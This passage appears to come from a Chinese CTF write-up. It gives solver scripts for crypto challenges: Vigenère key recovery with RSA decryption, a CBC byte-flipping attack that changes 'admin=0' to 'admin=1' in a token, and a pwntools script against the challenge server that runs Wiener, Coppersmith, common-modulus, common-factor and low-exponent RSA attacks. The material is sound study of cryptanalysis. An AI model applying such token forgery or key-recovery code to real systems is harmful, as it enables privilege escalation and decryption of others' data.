(b*b) % m    return resultdef shift(char, key, rev = False):    if not char in chars:        return char    if rev:        return chars[(chars.index(char) - chars.index(key)) % len(chars)]    else:        return chars[(chars.index(char) + chars.index(key)) % len(chars)]def decrypt(encrypted, key):    encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))])    return b64decode(encrypted)def decrypt_true(encrypted, key):    encrypted = ''.join([shift(encrypted[i], key[i % len(key)], True) for i in range(len(encrypted))])    return b64decode(encrypted.encode('ascii')).decode('ascii')    #kasiskidef get_len(s):    val=[]    length=len(s)    for i in xrange(length-4):        for j in xrange(i+1,length):            if s[i:i+4]==s[j:j+4]:                val.append(j-i)    maxtimes=0    maxval=0    book={}    length=len(val)    print val    for i in xrange(length):        for j in xrange(i+1,length):            tmp=gcd(val[i],val[j])            if book.has_key(tmp):                book[tmp]+=1            else:                book[tmp]=1            if book[tmp]>maxtimes:                maxval=tmp                maxtimes=book[tmp]    return maxval#key_len=get_len(a)#print key_len  #24def is_ascii(string):    if string:        for i in string:            if  ord(i) > 128:                return False    return Truedef judgeascii(plain,num,block):    start = 3*block    for i in range(start,len(plain),18):        if not is_ascii(plain[i:i+num]):            return False    return Truekey_len=24def get_key(encrypted,key_len):    global candi_count    candi_key_list = [[],[],[],[],[],[]]    for block in range(int(key_len/4)):        for a in chars:            for b in chars:                if not judgeascii(decrypt(encrypted,a+b+"aa"),1,block):                    continue                for c in chars:                    if not judgeascii(decrypt(encrypted,a+b+c+"a"),2,block):                        continue                    for d in chars:                        if judgeascii(decrypt(encrypted,a+b+c+d),3,block):                            #print a+b+c+d                            candi_key_list[block].append(a+b+c+d)    return candi_key_list#k1,k2,k3,k4,k5,k6=get_key(encrypted,key_len)#print k1,k2,k3,k4,k5,k6keylist=[]k1=['smab', 'smaf', 'smah', 'smai', 'smaj', 'smak', 'smal', 'sman', 'smao', 'smap', 'smaq', 'smar', 'smas', 'smat', 'smau', 'smax', 'smay', 'smaz', 'smaE', 'smaG', 'smaH', 'smaI', 'smaJ', 'smaK', 'smaL', 'smaM', 'smaN', 'smaS', 'smaU', 'smaX', 'smaY', 'sma2', 'sma7']k2=['lpic', 'lpid', 'lpie', 'lpif', 'lpig', 'lpii', 'lpij', 'lpik', 'lpil', 'lpim', 'lpin', 'lpio', 'lpip', 'lpiq', 'lpis', 'lpit', 'lpiu', 'lpiw', 'lpiA', 'lpiC', 'lpiD', 'lpiE', 'lpiF', 'lpiG', 'lpiH', 'lpiK', 'lpiM', 'lpiN', 'lpiT', 'lpiX', 'lpiY', 'lpiZ', 'lpi5', 'lpi7', 'lpi8', 'lpi9', 'lpi/']k3=['piga', 'pigf', 'pigh', 'pigi', 'pigj', 'pigk', 'pigm', 'pigo', 'pigp', 'pigq', 'pigr', 'pigs', 'pigu', 'pigv', 'pigw', 'pigx', 'pigy', 'pigz', 'pigA', 'pigC', 'pigE', 'pigF', 'pigG', 'pigH', 'pigO', 'pigQ', 'pigR', 'pigS', 'pigT', 'pigU', 'pig2', 'pig5', 'pig8', 'pig9']k4=['mala', 'malb', 'malc', 'male', 'malh', 'mali', 'malj', 'malk', 'mall', 'maln', 'malo', 'malp', 'malq', 'malr', 'mals', 'malt', 'malu', 'malv', 'malx', 'maly', 'malB', 'malG', 'malH', 'malI', 'malJ', 'malK', 'malL', 'malM', 'malO', 'malP', 'malU', 'malX', 'malY', 'mal5', 'mwla', 'mwlb', 'mwlc', 'mwle', 'mwlh', 'mwli', 'mwlj', 'mwlk', 'mwll', 'mwln', 'mwlo', 'mwlp', 'mwlq', 'mwlr', 'mwls', 'mwlt', 'mwlu', 'mwlv', 'mwlx', 'mwly', 'mwlB', 'mwlG', 'mwlH', 'mwlI', 'mwlJ', 'mwlK', 'mwlL', 'mwlM', 'mwlO', 'mwlP', 'mwlU', 'mwlX', 'mwlY', 'mwl5']k5=['lala', 'lalb', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lali', 'lalm', 'laln', 'lalq', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalM', 'lalR', 'lalS', 'lalU', 'lal1', 'lal2', 'lal3', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']k6=['kala', 'kalc', 'kald', 'kale', 'kalf', 'kalg', 'kalh', 'kalj', 'kalm', 'kaln', 'kalq', 'kalt', 'kalv', 'kalw', 'kalx', 'kaly', 'kalz', 'kalA', 'kalB', 'kalC', 'kalD', 'kalE', 'kalJ', 'kalK', 'kalL', 'kalM', 'kalN', 'kalR', 'kalW', 'kalX', 'kalZ', 'kal6', 'kal8', 'kal9', 'kal+', 'kal/', 'lala', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lalj', 'lalm', 'laln', 'lalq', 'lalt', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalA', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalK', 'lalL', 'lalM', 'lalN', 'lalR', 'lalW', 'lalX', 'lalZ', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']'''for i in k1:    for j in k2:        for k in k3:            for l in k4:                for m in k5:                    for n in k6:                        keylist.append(i+j+k+l+m+n)                        try:                            result=decrypt(encrypted,i+j+k+l+m+n).decode('base64')                            if "L0x" in result and result[-1]=='L':                                print result                                print i+j+k+l+m+n                        except:                            continueQByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg==0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fL0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLsmallpigpigsmalllalalala'''key='smallpigpigsmalllalalala'a='''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg=='''c=bytes_to_long(a.decode('base64'))n=0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fLq_576=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLp=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2a9f51a263e56e33e3e801538dd92b459a412cbe9efe2fa671bd83dae7d88c292bb21227ce242b1ee1a0fb222b3f3436911bf0940b2cf5da4fLq=0xaf30d53c6a8aaefd7da0d6b7f7c139527f14f3b18232119e9c8964b43a64456553eca17cefa9e9d06aec24710d3f88a2d5b67811e63f0a77a5e34dc02d70a4269511109448bd1c33e80e13c11ab0524f7186a29e09d83431f0862fa9e41b894f703af8362bcdefded4f96169c21641a6ba652f72c741292c86306b4e4608c2f1Le=65537phi_n=(p-1)*(q-1)d=invmod(e,phi_n)print hex(pow(c,d,n))[2:-1].decode('hex')

crypto400 heheda

先贴我自己的代码:

import hashlibfrom Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longfrom Crypto.Cipher import AESimport randomimport base64def gen_iv(seed):    s=random.Random()    s.seed(seed)    while True:        iv=long_to_bytes(s.randint(0xfffffffffffffffffffffffffffffff,0xffffffffffffffffffffffffffffffff))        if hashlib.sha256(iv).hexdigest()[0:4]==hashlib.sha256(long_to_bytes(seed)).hexdigest()[0:4]:            return ivdef gen_password(seed):    s=random.Random()    s.seed(seed)    while True:        password=long_to_bytes(s.randint(0xfffffffffffffffffffffffffffffff,0xffffffffffffffffffffffffffffffff))        if hashlib.sha256(password).hexdigest()[4:8]==hashlib.sha256(long_to_bytes(seed)).hexdigest()[4:8]:            return passwordm="token=5t43g5g2j1;admin=0;group=0"c="bMPWOsg+YH0eSwchPY6HTEvf3ESETSrEQ3/M1d0lUm0=".decode("base64")evil_c=c[:23]+c[23]new_c=c[:7]+chr(ord(c[7])^ord('0')^ord('1'))+c[8:]new_c2=c[:15]+chr(ord(c[15])^ord('0')^ord('1'))+c[16:]new_c3=c[:7]+chr(ord(c[7])^ord('0')^ord('1'))+c[8:15]+chr(ord(c[15])^ord('0')^ord('1'))+c[16:]monster=new_c3seed=int(hashlib.sha256(monster).hexdigest(),16)iv=gen_iv(seed)password=gen_password(seed)cipher = AES.new(password, AES.MODE_CBC, iv)msg=open('heheda.txt','rb').read().decode('hex')c = cipher.decrypt(msg)#print cwhile c[-1]=='A':    c=c[:-1]c=int(c,10)#print hex(c)[2:-1].decode('hex')d=hex(c)[2:-1].decode('hex')d=base64.b64decode(d)d=base64.b32decode(d)d=base64.b32decode(d)d=base64.b64decode(d)d=d.decode('hex')d=base64.b32decode(d)d=base64.b64decode(d)d=base64.b32decode(d)d=base64.b64decode(d)d=d.decode('hex')d=d.decode('hex')d=d.decode('hex')d=base64.b64decode(d)d=d.decode('hex')d=d.decode('hex')print d

通过cbc字节翻转,反转了两个字节然后做出来了,这道题核心就是求出monster的值,至于后面的随机数,如果种子一样的话,重复几次生成的值都是一样的,伪随机算法嘛,得到monster求出密文,然后一次一次手动base64base32hex交替解码,然后拿到flag

这里写图片描述

crypto500 rsb

这道题几乎涵盖了常见的rsa的求解方式,代码如下

#encoding:utf-8from hashlib import *from pwn import *from libnum import invmod, gcdimport gmpyimport randomdef pown(b, e, m):    result = 1    while e != 0:        if (e&1) == 1:            result = (result * b) % m        e >>= 1        b = (b*b) % m    return resultdef egcd(a, b):    x,y = 0, 1    lastx, lasty = 1, 0    while b:        a, (q, b) = b, divmod(a,b)        x, lastx = lastx-q*x, x        y, lasty = lasty-q*y, y    return (a ,lastx, lasty)def isqrt(n):    x = n    y = (x + 1) // 2    while y < x:        x = y        y = (x + n // x) // 2    if pow(x, 2) == n:        return x    else:        return Falsedef con_fra(a, b):    r = []    while True:        if a == 1:            break        tmp = a/b        if tmp != 0:            r.append(tmp)        a, b = b, (a-tmp*b)    return rdef wiener_attack(e, n):    cf = con_fra(e, n)    for x in xrange(len(cf)):        k, d = 0, 1        while x >= 0:            k, d = d, d*cf[x] + k            x -= 1        phi_n = (e*d - 1)/k        B = n - phi_n + 1        C = n        dt = pow(B, 2) - 4*C        if dt >= 0 and isqrt(dt) and (B+isqrt(dt)) % 2 == 0:            #return phi_n            return d    print "wiener attack fail!"con=remote('59.110.6.98',39999)con.recvuntil("=='")a=con.recvuntil("'")[:-1]con.recvuntil('\n')flag=0for i in xrange(255):    for j in xrange(255):        for k in xrange(31):            if flag==1:                break            x=chr(i)+chr(j)+chr(k)            if hashlib.sha256(x).hexdigest()[0:8]==a:                con.send(x.encode('hex'))                flag=1                break#第一关暴力分解ncon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p=256913509664055303183506954831487421301q=45043428986179862656564931228456462279phi_n=(q-1)*(p-1)d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))#第二关 wiener_attackcon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")d=wiener_attack(e,n)m=pown(c,d,n)con.send(hex(m))#第三关 Coppersmith’s Short Pad Attackcon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("b=")b=int(con.recvuntil('\n'),16)con.recvuntil("x=")x=3704324190009897834con.send(hex(x))##普通数学计算'''n=p*1(p+1)*(q+1)=p*q+q+p+1  ===> 求得p+q(p-1)*(q-1)=p*q-(q+p)+1  ===> 求得phi_n'''con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("(p+1)*(q+1)=")tmp=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p_add_q=tmp-n-1phi_n=n-p_add_q+1d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))##第五关,暴力分解ncon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p=1629866629q=138423767106114825518412312295081579527987925320428374018961182404062304717179771576959623739220546805093109254916722026063048961856697347314372477693365545069742737396614708232836436873673046221598981110715206345476199781357006164549411982378583422849079456068437622267920965918937897699841520210882019868077phi_n=(p-1)*(q-1)d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))##第六关 低公玥指数攻击+小明文攻击con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")i=0while 1:    if(gmpy.root(c+i*n, 3)[1]==1):        m=long(gmpy.root(c+i*n, 3)[0])        break    i=i+1con.send(hex(m))##第七关 ,琢磨好一会儿,结果发现俩个n竟然有公约数,这样就求出共有的素因子p,然后其他就好求了con.recvuntil("n1=")n1=int(con.recvuntil('\n'),16)con.recvuntil("e1=")e1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("n2=")n2=int(con.recvuntil('\n'),16)con.recvuntil("e2=")e2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("m1=")p=gcd(n1,n2)q1=n1/pphi_n1=(p-1)*(q1-1)d1=invmod(e1,phi_n1)m1=pown(c1,d1,n1)con.send(hex(m1))q2=n2/pphi_n2=(p-1)*(q2-1)d2=invmod(e2,phi_n2)m2=pown(c2,d2,n2)con.send(hex(m2))##第八层 共模攻击con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e1=")e1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("e2=")e2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("m=")s = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1<0:    s1=-s1    c1=invmod(c1, n)elif s2<0:    s2=-s2    c2=invmod(c2, n)m=(pow(c1,s1,n)*pow(c2,s2,n))%ncon.send(hex(m))#第九层,孙子定理求解con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("n1=")n1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("n2=")n2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("n3=")n3=int(con.recvuntil('\n'),16)con.recvuntil("c3=")c3=int(con.recvuntil('\n'),16)con.recvuntil("m=")M=n1*n2*n3M1=n2*n3M2=n1*n3M3=n1*n2t1=invmod(M1,n1)t2=invmod(M2,n2)t3=invmod(M3,n3)t=(c1*t1*M1+c2*t2*M2+c3*t3*M3)%Mm=long(gmpy.root(t,3)[0])con.send(hex(m))con.interactive()

这里写图片描述

下面是中间用到的Coppersmith’s Short Pad Attack的sage代码,github上摘下来改的,忘了原来链接了。

# display matrix picture with 0 and Xdef matrix_overview(BB, bound):    for ii in range(BB.dimensions()[0]):        a = ('%02d ' % ii)        for jj in range(BB.dimensions()[1]):            a += '0' if BB[ii,jj] == 0 else 'X'            a += ' '        if BB[ii, ii] >= bound:            a += '~'        print adef coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):    """    Coppersmith revisited by Howgrave-Graham    finds a solution if:    * b|modulus, b >= modulus^beta , 0 < beta <= 1    * |x| < XX    """    #    # init    #    dd = pol.degree()    nn = dd * mm + tt    #    # checks    #    if not 0 < beta <= 1:        raise ValueError("beta should belongs in (0, 1]")    if not pol.is_monic():        raise ArithmeticError("Polynomial must be monic.")    #    # calculate bounds and display them    #    """    * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)    * we know LLL will give us a short vector v such that:    ||v|| <= 2^((n - 1)/4) * det(L)^(1/n)    * we will use that vector as a coefficient vector for our g(x)    * so we want to satisfy:    2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)    so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)    (it's important to use N because we might not know b)    """    if debug:        # t optimized?        print "\n# Optimized t?\n"        print "we want X^(n-1) < N^(beta*m) so that each vector is helpful"        cond1 = RR(XX^(nn-1))        print "* X^(n-1) = ", cond1        cond2 = pow(modulus, beta*mm)        print "* N^(beta*m) = ", cond2        print "* X^(n-1) < N^(beta*m) \n-> GOOD" if cond1 < cond2 else "* X^(n-1) >= N^(beta*m) \n-> NOT GOOD"        # bound for X        print "\n# X bound respected?\n"        print "we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M"        print "* X =", XX        cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)        print "* M =", cond2        print "* X <= M \n-> GOOD" if XX <= cond2 else "* X > M \n-> NOT GOOD"        # solution possible?        print "\n# Solutions possible?\n"        detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))        print "we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)"        cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))        print "* 2^((n - 1)/4) * det(L)^(1/n) = ", cond1        cond2 = RR(modulus^(beta*mm) / sqrt(nn))        print "* N^(beta*m) / sqrt(n) = ", cond2        print "* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) \n-> SOLUTION WILL BE FOUND" if cond1 < cond2 else "* 2^((n - 1)/4) * det(L)^(1/n) >= N^(beta*m) / sqroot(n) \n-> NO SOLUTIONS MIGHT BE FOUND (but we never know)"        # warning about X        print "\n# Note that no solutions will be found _for sure_ if you don't respect:\n* |root| < X \n* b >= modulus^beta\n"    #    # Coppersmith revisited algo for univariate    #    # change ring of pol and x    polZ = pol.change_ring(ZZ)    x = polZ.parent().gen()    # compute polynomials    gg = []    for ii in range(mm):        for jj in range(dd):            gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)    for ii in range(tt):        gg.append((x * XX)**ii * polZ(x * XX)**mm)    # construct lattice B    BB = Matrix(ZZ, nn)    for ii in range(nn):        for jj in range(ii+1):            BB[ii, jj] = gg[ii][jj]    # display basis matrix    if debug:        matrix_overview(BB, modulus^mm)    # LLL    BB = BB.LLL()    # transform shortest vector in polynomial    new_pol = 0    for ii in range(nn):        new_pol += x**ii * BB[0, ii] / XX**ii    # factor polynomial    potential_roots = new_pol.roots()    print "potential roots:", potential_roots    # test roots    roots = []    for root in potential_roots:        if root[0].is_integer():            result = polZ(ZZ(root[0]))            if gcd(modulus, result) >= modulus^beta:                roots.append(ZZ(root[0]))    #    return rootslength_N = 1024e = 3N = 0x84dbee33d505f425dfb0138a153f7b67cdc2e33c3bfbe081e896b573b7df53e875ec366579396d4b8d4282efdeca4deeae7efbb81469a09ccd9208a6c07a66362724790462c5814fff6869f9ab8193405ae30ed3056ad67c8104e1b0d1703bf06a7096cac7cfb50783e52010512135f81df8354e2d0de09c5588ad286847a145ZmodN = Zmod(N);C = 0x113fe2d988f1643f6b73ca392cee5567d02a7835ec4d137c62971d9f27dbd2d6ae4b9a182a907d7a6ddef18f371337560d7ff199068e703d7b4cf56773e9b5023bff60a2c8bc1524feea5214edcd436379ca6895bc8c0bd680c32ae17b0950ff221c007daca10babb9853a3a25e4eb54bbc3a2401ad6d27b60febf8b8948b734P.<x> = PolynomialRing(ZmodN) #, implementation='NTL')b=0xfedcba98765432100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000pol = (b + x)^e - Cdd = pol.degree()# Tweak thosebeta = 1                                # b = Nepsilon = beta / 7                      # <= beta / 7mm = ceil(beta**2 / (dd * epsilon))     # optimized valuett = floor(dd * mm * ((1/beta) - 1))    # optimized valueXX = ceil(N**((beta**2/dd) - epsilon))  # optimized value# Coppersmithroots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)# outputprint "\n# Solutions"print "we found:", str(roots)print "\n"

以及运行截图
这里写图片描述

0 0
原创粉丝点击